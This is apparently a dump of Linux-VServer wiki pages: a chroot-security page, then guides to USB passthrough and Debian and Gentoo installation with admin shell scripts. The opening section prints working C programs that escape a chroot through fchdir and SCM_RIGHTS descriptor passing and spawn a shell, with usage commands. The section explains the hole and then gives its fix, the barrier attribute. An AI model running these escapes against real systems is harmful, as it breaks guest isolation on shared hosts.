die("mkdir(baz)");<br />
<br />
if (chroot("baz") != 0)<br />
die("chroot(baz)");<br />
<br />
if (fchdir(fd) == -1)<br />
die("fchdir");<br />
<br />
if (chroot(".") != 0)<br />
die("chroot(.)");<br />
<br />
printf("Exploit seems to work. =)\n");<br />
<br />
execl("/bin/sh", "sh", "-i", (char *)0);<br />
die("exec sh");<br />
<br />
exit(0);<br />
}<br />
</pre><br />
<br />
In fact, util-vserver uses this approach to obtain a file descriptor of a directory ''inside'' the guest file system root during startup, to secure mount operations (e.g. prevent symlink attacks pointing outside the guest root)<br />
<br />
=== Transferring file descriptors with SCM_RIGHTS ===<br />
<br />
Even if one tries to prevent the fchdir part in the above example by forbidding open directories at chroot time, it would still be possible to break out of the chroot jail. The 'solution' here is to transfer file desciptor using socket level control message with SCM_RIGHTS. The following program demonstrates this method:<br />
<br />
<pre><br />
#define _GNU_SOURCE<br />
<br />
#include <stdint.h><br />
#include <stdlib.h><br />
#include <stdbool.h><br />
#include <errno.h><br />
#include <stdio.h><br />
#include <unistd.h><br />
#include <sys/socket.h><br />
#include <sys/syscall.h><br />
#include <sys/un.h><br />
#include <sys/types.h><br />
#include <sys/stat.h><br />
#include <fcntl.h><br />
<br />
bool readRights(int fd, void *buf, size_t buf_len, int *fds, size_t fd_len)<br />
{<br />
struct msghdr msg;<br />
struct iovec iov[1];<br />
struct cmsghdr *cmptr;<br />
size_t len;<br />
size_t msg_size = sizeof(fds[0]) * fd_len;<br />
char control[CMSG_SPACE(msg_size)];<br />
<br />
msg.msg_name = 0;<br />
msg.msg_namelen = 0;<br />
msg.msg_control = control;<br />
msg.msg_controllen = sizeof(control);<br />
msg.msg_flags = 0;<br />
msg.msg_iov = iov;<br />
msg.msg_iovlen = 1;<br />
<br />
iov[0].iov_base = buf;<br />
iov[0].iov_len = buf_len;<br />
<br />
do {<br />
len = recvmsg(fd, &msg, 0);<br />
} while (len == (size_t) (-1) && (errno == EINTR || errno == EAGAIN));<br />
<br />
// TODO: Logging<br />
if (len == (size_t) (-1)) {<br />
perror("recvmsg()");<br />
return false;<br />
}<br />
<br />
if (len != buf_len)<br />
return false;<br />
if (msg.msg_controllen < sizeof(struct cmsghdr))<br />
return false;<br />
<br />
for (cmptr = CMSG_FIRSTHDR(&msg); cmptr != NULL;<br />
cmptr = CMSG_NXTHDR(&msg, cmptr)) {<br />
if (cmptr->cmsg_len != sizeof(control) ||<br />
cmptr->cmsg_level != SOL_SOCKET ||<br />
cmptr->cmsg_type != SCM_RIGHTS)<br />
continue;<br />
<br />
memcpy(fds, CMSG_DATA(cmptr), msg_size);<br />
return true;<br />
}<br />
<br />
write(2, "bad data\n", 9);<br />
return false;<br />
}<br />
<br />
bool<br />
sendRights(int fd, void const *buf, size_t buf_len, int const *fds,<br />
size_t fd_len)<br />
{<br />
struct cmsghdr *cmsg;<br />
size_t msg_size = sizeof(fds[0]) * fd_len;<br />
char control[CMSG_SPACE(msg_size)];<br />
int *fdptr;<br />
struct iovec iov[1];<br />
size_t len;<br />
struct msghdr msg = {<br />
.msg_name = 0,<br />
.msg_namelen = 0,<br />
.msg_iov = iov,<br />
.msg_iovlen = 1,<br />
.msg_control = control,<br />
.msg_controllen = sizeof control,<br />
.msg_flags = 0,<br />
};<br />
<br />
iov[0].iov_base = (void *) (buf);<br />
iov[0].iov_len = buf_len;<br />
<br />
// from cmsg(3)<br />
cmsg = CMSG_FIRSTHDR(&msg);<br />
cmsg->cmsg_level = SOL_SOCKET;<br />
cmsg->cmsg_type = SCM_RIGHTS;<br />
cmsg->cmsg_len = CMSG_LEN(msg_size);<br />
msg.msg_controllen = cmsg->cmsg_len;<br />
<br />
fdptr = (void *) (CMSG_DATA(cmsg));<br />
memcpy(fdptr, fds, msg_size);<br />
<br />
<br />
len = sendmsg(fd, &msg, 0);<br />
if (len == (size_t) (-1)) {<br />
perror("sendmsg()");<br />
return false;<br />
}<br />
<br />
return (len == buf_len);<br />
}<br />
<br />
static void spawnShell()<br />
{<br />
execl("/bin/bash", "/bin/bash", "--login", (char const *) (0));<br />
perror("execl()");<br />
exit(1);<br />
}<br />
<br />
#define perror(X) (perror(X),0)<br />
<br />
int main(int argc, char *argv[])<br />
{<br />
struct sockaddr_un addr = {<br />
.sun_family = AF_UNIX,<br />
.sun_path = "s"<br />
};<br />
<br />
int fd;<br />
pid_t pid;<br />
int s;<br />
<br />
if (argc != 3) {<br />
chroot(argv[1]);<br />
spawnShell();<br />
}<br />
<br />
pid = fork();<br />
<br />
if (pid == 0) {<br />
fd = open(".", O_RDONLY);<br />
chdir(argv[1]);<br />
} else if (pid != 0) {<br />
chroot(argv[1]) != -1 || perror("chroot()");<br />
chdir("/");<br />
}<br />
<br />
s = socket(AF_UNIX, SOCK_STREAM, 0);<br />
if (pid != 0) {<br />
char c;<br />
int i;<br />
size_t len = sizeof addr;<br />
<br />
unlink(addr.sun_path);<br />
bind(s, (struct sockaddr *) &addr, sizeof addr) != -1<br />
|| perror("bind()");<br />
listen(s, 5) != -1 || perror("listen()");<br />
s = accept(s, (struct sockaddr *) &addr, &len);<br />
<br />
readRights(s, &c, sizeof c, &fd, 1);<br />
fchdir(fd) != -1 || perror("fchdir()");<br />
close(fd);<br />
for (i = 0; i < 10; ++i) {<br />
chdir("..") != -1 || perror("chdir()");<br />
}<br />
chroot(".") != -1 || perror("chroot()");<br />
spawnShell();<br />
} else {<br />
sleep(2);<br />
connect(s, (struct sockaddr *) &addr, sizeof addr) != -1<br />
|| perror("connect()");<br />
sendRights(s, ".", 1, &fd, 1);<br />
close(s);<br />
}<br />
}<br />
</pre><br />
<br />
To use this exploit run the following commands (assuming you have compiled the above source as chrootescape):<br />
<br />
<pre><br />
# cp /path/to/chrootescape /new/root/<br />
# chroot /new/root<br />
# mkdir tmp/x<br />
# ./chrootescape tmp/x X<br />
</pre><br />
<br />
== Solution: Secure Barrier ==<br />
<br />
While early Linux-VServer versions tried to fix this by "funny" methods, recent versions use a special marking, known as the chroot barrier, on the parent directory of each VPS to prevent unauthorized modification and escape from confinement. This barrier is implemented as a [[Filesystem Attributes|Filesystem Attribute]] and prevents a path_walk into a directory with enabled barrier.<br />
<br />
Therefore it is important to set the barrier flag on your vserver base directory, for example:<br />
<br />
<pre><br />
# setattr --barrier /vservers<br />
# showattr /vservers<br />
---Bui- /vservers<br />
---bui- /vservers/pasat<br />
</pre><br />
<br />
If you keep all the guests in one mountpoint, setting the barrier on /vservers is enough, otherwise it should be repeated for each mount point.<br />
<br />
If you want to be safe you may choose to just set the barrier for each individual guest, for example:<br />
<pre><br />
cd -P /etc/vservers/<guest>/vdir; setattr --barrier ..<br />
</pre><br />
<br />
'' Please note that it's important to set the barrier against ".." inside /path/to/guest/ ''<br />
<br />
''(note: <tt>---Bui-</tt> barrier set, <tt>---bui-</tt> barrier available and not set)''</div>Daniel hozachttp://svn.linux-vserver.org/USB_DevicesUSB Devices2009-09-16T01:29:31Z<p>Daniel hozac: Undo revision 3899 by 68.224.49.143 (Talk)</p>
<hr />
<div>By default, USB devices you plug in to your physical host are not available to your vserver guests. To make all your USB devices available to a specific guest, follow these instructions:<br />
<br />
== Unhide the `/proc/bus/usb` directory ==<br />
<br />
On the host, you can do one of the following:<br />
<br />
To do it as a '''''one-off''''', type the following as root:<br />
<pre><br />
vnamespace -n bash<br />
umount -n /proc/bus/usb<br />
setattr --~hide /proc/bus<br />
setattr --~hide /proc/bus/usb<br />
</pre><br />
<br />
:''Note:'' this creates a new namespace and lauches bash in that context. It then umounts the USB filesystem and then unhides the USB subsystem. Note that this doesn't unmount USB for the host, or any existing guests, but the umount is necessary for the setattr to take effect.<br />
<br />
To make this '''''persist for a specific guest''''', add the following to `/etc/vservers/<guest>/scripts/pre-start`:<br />
<pre><br />
vnamespace -n bash -c "umount -n /proc/bus/usb ; setattr --~hide /proc/bus ; setattr --~hide /proc/bus/usb"<br />
</pre><br />
<br />
:''Note'' this is a bit of brute force. It enables ''all'' guests to see USB (assuming they have the right `fstab` entry, below, and doesn't turn it off. If you want to be more fancy, you can probably rehide the USB when the guest is shut down. However, this will break if you have more than once guest using USB<br />
<br />
== Mount the USB filesystem in the guest ==<br />
<br />
Now we edit the `fstab` file for the guest. The following works on a host running Debian Etch and a guest running Ubuntu 6.06.1. To find the way that `usbfs` is mounted in the ''host'', I used:<br />
<pre><br />
cat /proc/mounts | grep usbfs<br />
</pre><br />
<br />
which returned:<br />
<pre><br />
usbfs /proc/bus/usb usbfs rw,nosuid,nodev,noexec 0 0<br />
</pre><br />
<br />
Paste this line (or the one that suits your distro) to the end of `/etc/vservers/<guest>/fstab`, and restart the guest.<br />
<br />
== Test it ==<br />
<br />
Now enter the guest, and see if you can see `/proc/bus/usb/devices`. Better still, plug in a USB device and see if it shows up in there.<br />
<br />
== Thanks ==<br />
<br />
Information came from [http://www.paul.sladen.org/vserver/archives/200610/0053.html this thread] (credit: Daniel Hokka Zakrisson) and from followup in IRC on 21 April 2007, again credit to Daniel.</div>Daniel hozachttp://svn.linux-vserver.org/Installation_on_DebianInstallation on Debian2009-09-16T01:29:18Z<p>Daniel hozac: Undo revision 3898 by 218.56.64.210 (Talk)</p>
<hr />
<div>This guide is written against Debian Etch (4.0) and works on Lenny (5.0) as well. Both releases include kernel '''linux-image-vserver-686''', so no manual patching is needed. Hence, Installation on Debian Etch/Lenny is pretty easy and straightforward.<br />
<br />
If you need to compile your own kernel, you need to apply the vserver-version.patch. [http://www.kwu.hu/vserver.txt Details at 2007/May/04]<br />
<br />
<br />
== Packages installation ==<br />
The packages required by Linux-VServer are:<br />
* '''linux-image-vserver-686''' - This is the current kernel, use '''linux-image-vserver-amd64''' on 64-bit systems, you can still create 32-bit guests<br />
* '''util-vserver''' - These are the utilities used to administer the guests<br />
* '''ssh''' - This is probably already installed, but just in case it isn't<br />
<br />
All the packages you need can be obtained via<br />
<pre>aptitude install linux-image-vserver-686 util-vserver ssh</pre><br />
so run this as ''root'' and reboot.<br />
To check out wherever everything went fine you may run<br />
<pre>uname -r</pre><br />
and check that kernel version contains '''vserver''', e.g. '''2.6.18-4-vserver-686'''. That's it.<br />
<br />
Now that the host system is ready, you can proceed with [[Building Guest Systems|building guests]].<br />
<br />
=== Install util-vserver by source ===<br />
Occasionally, Debian's util-vserver package can be too old. So, we'll need to compile from [http://people.linux-vserver.org/~dhozac/t/uv-testing/ source].<br />
<br />
First, install the required packages for util-vserver to compile.<br />
<pre>apt-get install vlan dietlibc-dev pkg-config libnss3-dev</pre><br />
<br />
Then, we configure util-vserver<br />
<pre>./configure --prefix=/usr --enable-release --mandir=/usr/share/man \<br />
--infodir=/usr/share/info --sysconfdir=/etc --enable-dietlibc \<br />
--localstatedir=/var --with-vrootdir=/home</pre><br />
Note: You should change ''--with-vrootdir'' accordingly<br />
<br />
Finally, we run make to finalise the installation<br />
<pre>make && make install debian && make install install-distribution</pre><br />
<br />
Running ''vserver-info'' will show you that the proper util-vserver is installed. :)<br />
<br />
Debian likes to be funny, so we need to enable the following,<br />
* echo /usr/lib/util-vserver/vshelper >| /proc/sys/kernel/vshelper<br />
* echo kernel.vshelper = /usr/lib/util-vserver/vshelper >> /etc/sysctl.conf<br />
* update-rc.d vprocunhide defaults<br />
* update-rc.d vservers-default defaults <br />
<br />
== Versions ==<br />
Debian already contains vservers kernels, so no manual patching and compiling is needed. <br />
{|class="wikitablenowrap"<br />
!Debian release <br />
!Kernel version<br />
!VServer version<br />
|-<br />
| Etch<br />
| 2.6.18+6<br />
| 2.0.2.2-rc9<br />
|-<br />
| Lenny<br />
| 2.6.26+17<br />
| 2.3.0.35<br />
|-<br />
|}<br />
<br />
== Issues with the current 2.6.26 Kernel ==<br />
<br />
=== Hard CPU scheduling ===<br />
<br />
This will not work in the Debian 'Lenny' Kernel, the patch used simply does not contain any of this functionality.<br />
<br />
=== Problems due to Xattrs ===<br />
<br />
There are two sets of issues within the Lenny kernel caused by the change in value of the Xattrs (extended attributes) applied to file in Vserver setups. The patch used in Debian Lenny uses Xattr flags which are set in positions which differ from the flags set by Debian kernels as well as most of the mainline Vserver patches. This result is that Xattrs of files in a non lenny system appear to have completely different flags in Lenny and vice versa. Since these flags are crucial to vserver hashification and chroot security, they can have devastating effects on Vserver guests and on host system security. If you have recently moved to or away from the stock Lenny Vserver kernel, have look at the symptoms below to see if any match your experiences, and apply the fixes/use another kernel as you see fit.<br />
<br />
As of writing these issue has not been corrected within the Debian archive. These fixes must be applied whenever moving vserver guest '''from''' or '''to''' the Debian 'Lenny's vserver kernel. For more details and a more concise explanation see [http://irc.13thfloor.at/LOG/2009-05/LOG_2009-05-12.txt Bertls IRC explanation ].<br />
<br />
==== Chroot Security Problems ====<br />
<br />
Linux-Vserver uses file Xattrs to protect guest superusers from being able to view files above their root, preventing access to host file. This creates issues for anyone who:<br />
<br />
* has created a guest with a Debian 2.6.26-*-vserver kernel and wishes to use it with another kernel.<br />
* has created a guest with a different kernel and wishes to use it on a Debian 2.6.26-*-vserver kernel based host.<br />
<br />
In effect, the barrier normally in place for guest servers is not recognised by the kernel (the chroot problem) in the situation above and/or immutable links will not function correctly (the unification problem)failing to break when overwritten) in a unified guest setup. Symptoms suffered may include:<br />
<br />
* the possibility of vserver guest processes escaping their chroots and accessing other parts of the filesystem<br />
* guest not starting<br />
<br />
To fix the barrier flags for a current kernel, see [[Secure_chroot_Barrier#Solution:_Secure_Barrier | these instructions]]. Note that on some setups a barrier flags will appear on all directories under the guest hierarchy, and need to be unset in order to allow the servers to run. Use showattr to reveal the state of play for your guests and fix appropriately.<br />
<br />
==== Unification Problems ====<br />
<br />
There is a discrepancy between the immutable-unlink flag used for file unification, the process used in vhashify. This creates considerable issues for anyone who:<br />
<br />
* has unified guests with a Debian 2.6.26-*-vserver kernel and wishes to use them with another kernel.<br />
* has unified guests with a different kernel and wishes to then it on a Debian 2.6.26-*-vserver kernel based host.<br />
<br />
Symptoms suffered may include:<br />
<br />
* file that cannot be deleted<br />
* any process involving the writing of files in guests not working<br />
* files not being unlinked on write<br />
<br />
To fix the problem each file must be unlinked then the unification re-applied, or one could try this script submitted to [http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=508523 bugs.debian.org].<br />
<br />
== References ==<br />
* Linux-VServer HOWTO by Daniel15: http://howtoforge.com/linux_vserver_debian_etch</div>Daniel hozachttp://svn.linux-vserver.org/Installation_on_GentooInstallation on Gentoo2009-09-16T01:29:03Z<p>Daniel hozac: Undo revision 3897 by 174.142.104.57 (Talk)</p>
<hr />
<div>== Host configuration ==<br />
<br />
=== Install a Linux-VServer kernel ===<br />
<br />
Installing a prepatched kernel is as easy as:<br />
<br />
<pre><br />
# emerge vserver-sources<br />
</pre><br />
<br />
After the vserver-sources are installed it's time to configure them using make menuconfig. Below is a common configuration for 2.1.1 and above. If you are using 2.0.x some configuration options may not be present.<br />
<br />
<pre><br />
# cd /usr/src/linux-<KERNELVERSION>-vserver-<VSERVERVERSION><br />
# make menuconfig<br />
<br />
Linux VServer ---><br />
[ ] Enable Legacy Kernel API<br />
[ ] Enable Legacy Networking Kernel API<br />
[ ] Remap Source IP Address<br />
[*] Enable COW Immutable Link Breaking<br />
[*] Enable Virtualized Guest Time<br />
[*] Enable Proc Security<br />
[*] Enable Hard CPU Limits<br />
[*] Avoid idle CPUs by skipping Time<br />
[*] Limit the IDLE task<br />
Persistent Inode Tagging (UID24/GID24) ---><br />
[ ] Tag NFSD User Auth and Files<br />
[ ] Enable Inode Tag Propagation<br />
[*] Honor Privacy Aspects of Guests<br />
[ ] VServer Debugging Code<br />
</pre><br />
<br />
'''Note''': If you are using reiserfs as file system on the partition where guest images are stored, you will need to enable extended attributes for reiserfs in your kernel configuration and additionally add the attrs option in /etc/fstab.<br />
<br />
<pre><br />
File systems ---><br />
<*> Reiserfs support<br />
[*] ReiserFS extended attributes<br />
</pre><br />
<br />
<pre><br />
/dev/hdb1 /vservers reiserfs noatime,attrs 0 0<br />
</pre><br />
<br />
After you've built and installed the kernel, update your boot loader and finally reboot to see if the kernel boots correctly.<br />
<br />
<pre><br />
(Building the kernel)<br />
# make<br />
(Installing)<br />
# make modules_install<br />
# cp arch/<arch>/boot/bzImage /boot/kernel-<KERNELVERSION>-vserver-<VSERVERVERSION><br />
(Edit bootloader config file as required and)<br />
# reboot<br />
</pre><br />
<br />
=== Setup host environment ===<br />
<br />
To maintain your virtual servers you need the util-vserver package which contains all necessary programs and many useful features.<br />
<br />
<pre><br />
# emerge >=sys-cluster/util-vserver-0.30.212<br />
</pre><br />
<br />
You have to run the vprocunhide command after every reboot in order to setup /proc permissions correctly for vserver use. An init script has been installed by util-vserver. To use it you should add it to a runlevel: <br />
<br />
<pre><br />
# rc-update add vprocunhide default<br />
# /etc/init.d/vprocunhide start<br />
# rc-update add util-vserver default<br />
# /etc/init.d/util-vserver start<br />
</pre><br />
<br />
== Guest creation ==<br />
<br />
=== Download a precompiled stage3 ===<br />
<br />
Since many hardware related commands are not available inside a virtual server,<br />
there has been a patched version of baselayout known as baselayout-vserver.<br />
However, since baselayout-2/openrc, all required changes have been integrated,<br />
eliminating the need for separate vserver stages, profiles and baselayout. The<br />
only (temporary) drawback is that baselayout-2/openrc is still in testing<br />
(~arch) and there are no stages with baselayout-2/openrc available on the<br />
mirrors yet.<br />
<br />
As soon as baselayout-2/openrc is stable you can use a precompiled stage3 from<br />
one of the [http://www.gentoo.org/main/en/mirrors.xml Gentoo mirrors]. In the meantime<br />
please download a stage3 or gentoo-vserver stage from<br />
[http://bb.xnull.de/projects/gentoo/stages/ here]. Since a<br />
stage3 contains a complete root file system you can use the template build<br />
method of util-vserver. However, this method only works reliable since<br />
util-vserver-0.30.213_rc5, so make sure you have the right version installed.<br />
<br />
You have to choose a context ID for your vserver (dynamic context IDs are discouraged) as well as the necessary network device information (In this example eth0 is configured with 192.168.1.253/24 and the context ID is equivalent to the last two parts of the virtual servers IP).<br />
<br />
=== Using the template build method ===<br />
<br />
For a long time now, plain init style was the only init style available for<br />
gentoo, i.e. a normal init process will be started inside the guest, just like<br />
on any common Unix system. However this approach has some drawbacks:<br />
<br />
* No possibility to see output of init/rc scripts<br />
* Wasted resources for idle init processes in each guest<br />
* Annoying conflicts for /etc/inittab<br />
<br />
Therefore, many users have requested the gentoo init style to be reimplemented,<br />
which has been abandoned since it was a very hacky implementation and more<br />
or less worked by accident due to other modifications done to baselayout back<br />
then. However, as of util-vserver-0.30.212 the gentoo init style has been<br />
reimplemented in a concise manner and will become the default in the future.<br />
<br />
<pre><br />
# vserver myguest build \<br />
--context 1253 \<br />
--hostname myguest \<br />
--interface eth0:192.168.1.253/24 \<br />
--initstyle gentoo \<br />
-m template -- \<br />
-t /path/to/gentoo-vserver-<arch>-<version>.tar.bz2 \<br />
-d gentoo<br />
</pre><br />
<br />
You should be able to start and enter the vserver by using the commands below.<br />
<br />
<pre><br />
# vserver myguest start<br />
<br />
OpenRC 0.4.3 is starting up Gentoo Linux (x86_64) [VSERVER]<br />
<br />
Press I to enter interactive boot mode<br />
<br />
* /proc is already mounted, skipping<br />
* Setting hostname to myguest... [ ok ]<br />
* Creating user login records... [ ok ]<br />
* Cleaning /var/run... [ ok ]<br />
* Wiping /tmp directory... [ ok ]<br />
* Updating /etc/mtab... [ ok ]<br />
* Initializing random number generator... [ ok ]<br />
* Starting syslog-ng... [ ok ]<br />
* Starting fcron... [ ok ]<br />
* Starting Name Service Cache Daemon... [ ok ]<br />
* Starting local... [ ok ]<br />
# vserver-stat<br />
CTX PROC VSZ RSS userTIME sysTIME UPTIME NAME<br />
0 90 1.4G 153.4K 14m00s11 6m45s17 2h59m59 root server<br />
1253 2 3M 286 0m00s45 0m00s42 0m02s91 myguest<br />
# vserver myguest enter<br />
# ps ax<br />
PID TTY STAT TIME COMMAND<br />
1 ? Ss 0:04 init [3]<br />
27637 ? Ss 0:00 /usr/sbin/syslog-ng<br />
27656 ? Ss 0:00 /usr/sbin/fcron -c /etc/fcron/fcron.conf<br />
27676 ? Ssl 0:00 /usr/sbin/nscd<br />
27713 ? S+ 0:00 login<br />
27737 pts/15 Ss 0:00 /bin/bash<br />
27832 pts/15 R+ 0:00 ps ax<br />
# logout<br />
</pre><br />
<br />
== Maintenance made easy ==<br />
<br />
=== Start guests on boot ===<br />
<br />
You can start certain guests during boot. Each guest can be assigned a MARK. Now everything you have to do is configure these MARKs in the guests configuration and tell the init script to run all MARKed guests.<br />
<br />
<pre><br />
(Do this for every guest you want to start)<br />
# mkdir -p /etc/vservers/myguest/apps/init<br />
# echo "default" > /etc/vservers/myguest/apps/init/mark<br />
</pre><br />
<br />
'''Note''': Since all guests marked with "default" are started by default, nothing more has to be done. If you have different marks you should also update /etc/conf.d/vservers.<br />
<br />
=== Keep portage in sync ===<br />
<br />
The script vesync will help you to keep the metadata cache and overlays in sync. vemerge is a simple wrapper for emerge in guests.<br />
<br />
<pre><br />
(Sync metadata for 'myguest')<br />
# vesync myguest<br />
(Sync metadata for all guests)<br />
# vesync -a<br />
(Sync metadata for all guests except 'myguest')<br />
# vesync -a -e myguest<br />
(Sync 'myoverlay' for all guests)<br />
# vesync -a \<br />
--overlay /usr/local/overlays/myoverlay \<br />
--overlay-host rsync://rsync.myhost.com/myoverlay \<br />
--overlay-only<br />
(emerge app-editors/vim in 'myguest')<br />
# vemerge myguest -- app-editors/vim -va<br />
</pre><br />
<br />
=== Update guests ===<br />
<br />
Gentoo guests can share packages to save compilation time. In order to use shared packages, you have to create a central directory for packages on the host. We will use /var/cache/vpackages on the host and mount it to /usr/portage/packages in every guest.<br />
<br />
<pre><br />
# mkdir -p /var/cache/vpackages<br />
# $EDITOR /etc/vservers/myguest/fstab<br />
(Add this line at the end)<br />
/var/cache/vpackages /usr/portage/packages none bind,rw 0 0<br />
</pre><br />
<br />
Now you can use vupdateworld to update every guest. The command is equivalent to something like emerge --deep --update --newuse world depending on command line options.<br />
<br />
<pre><br />
(Pretend update for 'myguest')<br />
# vupdateworld -p myguest<br />
(Update 'myguest' using binary packages)<br />
# vupdateworld -k myguest<br />
(Update all guests using binary packages)<br />
# vupdateworld -ka<br />
</pre><br />
<br />
'''Note''': In order to get binary packages you can either use PORTAGE_BINHOST (see man make.conf) or set FEATURES="buildpkg" in one or more guests.<br />
<br />
After a successful update you can easily update all configuration files with vdispatch-conf. It is a simple wrapper for dispatch-conf and behaves exactly the same.<br />
<br />
<pre><br />
(Update configuration files for 'myguest')<br />
# vdispatch-conf myguest<br />
(Update configuration files for all guests)<br />
# vdispatch-conf -a<br />
</pre><br />
<br />
=== Bash scripts ===<br />
<br />
These scripts will hopefully help some of you out with some basic tasks. Review each script carefully, so you know what it is doing. <br />
<br />
==== Build Script ====<br />
This will build virtual servers a little quicker with a shorter command and pre-saved parameters stored as variables.<br />
<br />
'''Note:''' Edit this script to fit your environment.<br />
<br />
'''genvs_create.sh'''<br />
<pre><br />
#!/bin/sh<br />
#Author: Dereck Martin<br />
#Email: dmartin@tekconxus.com<br />
<br />
VSERVER_TEMPLATE=/etc/vservers/.templates/stage4-i686-20070905.tar.bz2<br />
VSERVER_HOST=${1}<br />
VSERVER_DOMAIN=domain.tld<br />
VSERVER_CONTEXT=${2}<br />
VSERVER_IP=${3}<br />
VSERVER_LOC=/vservers<br />
<br />
if [ "${1}" == "--help" ]; then<br />
echo "Usage:"<br />
echo " genvs_create.sh <host> <context id> <ip>"<br />
echo " "<br />
echo " <host> = Name of Virtual Server"<br />
echo " <context id> = Usually last digits of IP. (10.10.0.15 <-> 15)"<br />
echo " <ip> = IP Address 10.10.0.15/24"<br />
else<br />
vserver -v ${VSERVER_HOST} build --context ${VSERVER_CONTEXT} \<br />
--hostname ${VSERVER_HOST}.${VSERVER_DOMAIN} --interface eth0:${VSERVER_IP} \<br />
--initstyle gentoo -m template -- -d gentoo -t ${VSERVER_TEMPLATE}<br />
<br />
#Need to chop off the /xx fromt eh ip address before adding it to the sshd_config<br />
#<br />
#echo "ListenAddress ${3}" >> ${VSERVER_LOC}/${1}/etc/ssh/sshd_config<br />
<br />
vserver ${VSERVER_HOST} start<br />
fi<br />
<br />
</pre><br />
<br />
==== Gentoo Update World ====<br />
<br />
The command for updating each virtual host did not work for me, so this script was created.<br />
<br />
'''Note:''' Use at your own risk. Updating gentoo this way could break your system.<br />
<br />
'''genvs_update.sh'''<br />
<pre><br />
#!/bin/sh<br />
<br />
VSERVER_LOC=/vservers<br />
<br />
echo -e '\E[33;40m'<br />
echo -e 'Gentoo Update Script for Virtual Servers'<br />
echo -e 'Author: Dereck Martin <dmartin@tekconxus.com>'<br />
echo -e ''<br />
echo -e '\E[34;40m'<br />
echo -e '####################################################################'<br />
echo -e '# Running Emerge Sync'<br />
echo -e '# This update the portage on the host'<br />
echo -e '####################################################################'<br />
echo -e '\E[31;40m'<br />
echo -e '\033[1mCtrl+C to Stop.\033[0m'<br />
echo -e '\E[32;40mStarting in:'<br />
<br />
for count in 5 4 3 2 1<br />
do<br />
sleep 1<br />
echo "> ${count}"<br />
done<br />
<br />
echo -e '\E[37;40m'<br />
<br />
emerge --sync<br />
<br />
echo -e '\E[34;40m'<br />
echo -e '####################################################################'<br />
echo -e '# Running VPS Sync'<br />
echo -e '# This will update the portage cache on all VPS'<br />
echo -e '####################################################################'<br />
echo -e '\E[31;40m'<br />
echo -e '\033[1mCtrl+C to Stop.\033[0m'<br />
echo -e '\E[32;40mStarting in:'<br />
<br />
for count in 5 4 3 2 1<br />
do<br />
sleep 1<br />
echo "> ${count}"<br />
done<br />
<br />
echo -e '\E[37;40m'<br />
<br />
vesync --all<br />
<br />
echo -e '\E[34;40m'<br />
echo -e '####################################################################'<br />
echo -e '# Running Emerge Update World'<br />
echo -e '# This will update every single package on your VPS'<br />
echo -e '####################################################################'<br />
echo -e '\E[31;40m'<br />
echo -e '\033[1mCtrl+C to Stop.\033[0m'<br />
echo -e '\E[32;40mStarting in:'<br />
<br />
for count in 5 4 3 2 1<br />
do<br />
sleep 1<br />
echo "> ${count}"<br />
done<br />
<br />
echo -e '\E[37;40m'<br />
<br />
vemerge --all -- --deep --update --newuse world<br />
vemerge --all -- --depclean<br />
<br />
# Still a little buggy...<br />
#for vs in ${VSERVER_LOC}/*<br />
#do<br />
# vserver ${vs} exec revdep-rebuild<br />
#done<br />
</pre><br />
<br />
==== Host and Resolv Update Script ====<br />
<br />
I had troubles with getting my custom resolv.conf and hosts file to be auto generated at build time so I created this script to update them at any time when there are changes.<br />
<br />
'''Note:''' Change locations as required.<br />
<br />
'''genvsetc_cp.sh'''<br />
<pre><br />
#!/bin/sh<br />
#Author: Dereck Martin<br />
#Email: dmartin@tekconxus.com<br />
<br />
VSERVER_LOC=/vservers<br />
<br />
PWD=${CWD}<br />
cd ${VSERVER_LOC}<br />
for vs in *<br />
do<br />
cp -v /etc/vservers/.defaults/files/hosts ${VSERVER}/${vs}/etc/<br />
cp -v /etc/vservers/.defaults/files/resolv.conf ${VSERVER}/${vs}/etc/<br />
done<br />
<br />
cd ${PWD}<br />
</pre><br />
<br />
==== Shutdown/Reboot/Start All Scripts ====<br />
<br />
This will let you perform a shutdown of all virtual guests<br />
<br />
'''genvs_stopall.sh'''<br />
<pre><br />
#!/bin/sh<br />
#Author: Dereck Martin<br />
#Email: dmartin@tekconxus.com<br />
<br />
VSERVER_LOC=/vservers<br />
<br />
echo -e '\E[34;40m'<br />
echo -e '####################################################################'<br />
echo -e '# Stopping All Virtual Servers'<br />
echo -e '####################################################################'<br />
echo -e '\E[31;40m'<br />
echo -e '\033[1mCtrl+C to Stop.\033[0m'<br />
echo -e '\E[32;40mStarting in:'<br />
<br />
for count in 5 4 3 2 1<br />
do<br />
sleep 1<br />
echo -e "> ${count}"<br />
done<br />
<br />
echo -e '\E[37;40m'<br />
<br />
PWD=${CWD}<br />
cd ${VSERVER_LOC}<br />
for vs in *<br />
do<br />
vserver ${vs} stop<br />
done<br />
cd ${PWD}<br />
</pre><br />
<br />
'''genvs_startall.sh'''<br />
<pre><br />
#!/bin/sh<br />
#Author: Dereck Martin<br />
#Email: dmartin@tekconxus.com<br />
<br />
VSERVER_LOC=/vservers<br />
<br />
echo -e '\E[34;40m'<br />
echo -e '####################################################################'<br />
echo -e '# Starting All Virtual Servers'<br />
echo -e '####################################################################'<br />
echo -e '\E[31;40m'<br />
echo -e '\033[1mCtrl+C to Stop.\033[0m'<br />
echo -e '\E[32;40mStarting in:'<br />
<br />
for count in 5 4 3 2 1<br />
do<br />
sleep 1<br />
echo -e "> ${count}"<br />
done<br />
<br />
echo -e '\E[37;40m'<br />
<br />
PWD=${CWD}<br />
cd ${VSERVER_LOC}<br />
for vs in *<br />
do<br />
vserver ${vs} start<br />
done<br />
cd ${PWD}<br />
</pre><br />
<br />
'''genvs_rebootall.sh'''<br />
<pre><br />
#!/bin/sh<br />
#Author: Dereck Martin<br />
#Email: dmartin@tekconxus.com<br />
<br />
VSERVER_LOC=/vservers<br />
<br />
echo -e '\E[34;40m'<br />
echo -e '####################################################################'<br />
echo -e '# Rebooting All Virtual Servers'<br />
echo -e '####################################################################'<br />
echo -e '\E[31;40m'<br />
echo -e '\033[1mCtrl+C to Stop.\033[0m'<br />
echo -e '\E[32;40mStarting in:'<br />
<br />
for count in 5 4 3 2 1<br />
do<br />
sleep 1<br />
echo -e "> ${count}"<br />
done<br />
<br />
echo -e '\E[37;40m'<br />
<br />
PWD=${CWD}<br />
cd ${VSERVER_LOC}<br />
for vs in *<br />
do<br />
vserver ${vs} restart<br />
done<br />
cd ${PWD}<br />
</pre><br />
<br />
== External Resources ==<br />
<br />
